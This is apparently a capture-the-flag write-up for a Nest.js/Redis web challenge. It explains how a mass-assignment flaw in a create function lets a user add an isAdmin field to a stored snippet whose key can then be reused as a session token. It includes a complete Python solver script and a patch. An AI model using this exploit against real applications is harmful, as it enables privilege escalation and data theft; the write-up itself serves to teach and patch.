kode-viewer
Description
Elevate your kode-share experience with kode-viewer.
by vidner
Analysis
We are given full source-code of a website built using Nest.js. From the docker-compose.yml
we can infer that the database used for this challenge is Redis.
services:
kode-viewer:
build:
context: .
args:
- PASSWORD=root
ports:
- '10000:3000'
depends_on:
- redis
environment:
- REDIS_HOST=redis
- REDIS_PORT=6379
redis:
image: public.ecr.aws/docker/library/redis:alpine
volumes:
- ./redis-data:/data
From the kode.services.ts
file, we could see that the create
function uses the whole payload
argument and expands them when sending it to the Redis database. This is dangerous since we can add new keys outside of the KodeDTO
type. The payload
is not checked against the KodeDTO
type since types are only a suggestion in TypeScript, rather than a strict rule.
// snip
async create(email: string, payload: KodeDTO) {
payload.kind = payload.kind ? 'private' : 'public';
const key = `kode-${email}-${payload.name}-${payload.lang}-${payload.kind}`;
return this.kv.set(key, { email, ...payload }, 1200);
}
// snip
On the list
function, we can see that we could only see our own kode if we are not an admin. But if we are an admin, we can see every kode on the database. So we would probably want to be an admin to get the flag.
// snip
async list(user: Session) {
const kodes = user.isAdmin
? await this.kv.find('kode-*')
: await this.kv.find(`kode-${user.email}-*`);
return this.parse(kodes);
}
// snip
Solution
To somehow overwrite the user, we need to look at how the session is implemented. The session token is just a random UUIDv4 and no sanitization is applied to it.
// snip
const sessionId = uuidv4();
await this.kv.set(sessionId, user, 1800);
// snip
Therefore, we can use a kode ID as a session token, where that kode is injected with an isAdmin
with a value of True
. This exploit is possible because of Redis, where it does not have a concept of tables. This means that if different types of objects are using the same database, the key must be identifiable to that type and also checked rigorously to avoid collisions like what is happening in this case.
r = requests.post(f"http://{ip}:{port}/kode",
data={
"name": "asdf",
"lang": "python",
"kode": "hello",
"isAdmin": True
},
headers={"Cookie": f"session={session}"},
allow_redirects=False
)
Then, the new kode can be interpreted as a session token and we can get all the kode in the database. On the remote service, the kode containing the flag will start with flag
as the name and will be set to private.
Solver Script
#!/usr/bin/env python3
import requests
import sys
import re
ip = sys.argv[1]
port = "10000"
EMAIL = "[email protected]"
PASSWORD = "dasdnnsaldnsa"
PAYLOAD = "[email protected]"
r = requests.post(f"http://{ip}:{port}/auth/register",
data={"email": EMAIL, "password": PASSWORD},
)
r = requests.post(f"http://{ip}:{port}/auth/login",
data={"email": EMAIL, "password": PASSWORD},
allow_redirects=False
)
session = r.cookies["session"]
r = requests.post(f"http://{ip}:{port}/kode",
data={
"name":
"asdf",
"lang": "python",
"kode": "hello",
"isAdmin": True
},
headers={"Cookie": f"session={session}"},
allow_redirects=False
)
session = PAYLOAD
r = requests.get(
f"http://{ip}:{port}/kode",
headers={"Cookie": f"session={session}"}
)
flags = r.text
flag_urls = re.findall(r"\".*flag_.*-private\"", flags)
for flag_url in flag_urls:
flag_url = flag_url.replace("\"", "")
r = requests.get(
f"http://{ip}:{port}{flag_url}",
headers={"Cookie": f"session={session}"}
)
print(r.text, flush=True)
Patch
Since the culprit is the create
function, we can patch it to only insert the keys that is defined by KodeDTO
.
// snip
async create(email: string, payload: KodeDTO) {
payload.kind = payload.kind ? 'private' : 'public';
const key = `kode-${email}-${payload.name}-${payload.lang}-${payload.kind}`;
return this.kv.set(key, { email, kind: payload.kind, name: payload.name, lang: payload.lang, kode: payload.kode }, 1200);
}
// snip
But after the competition, we realized that there are other exploits other than ours. So the true patch is to not use Redis as your main database xD.
Last updated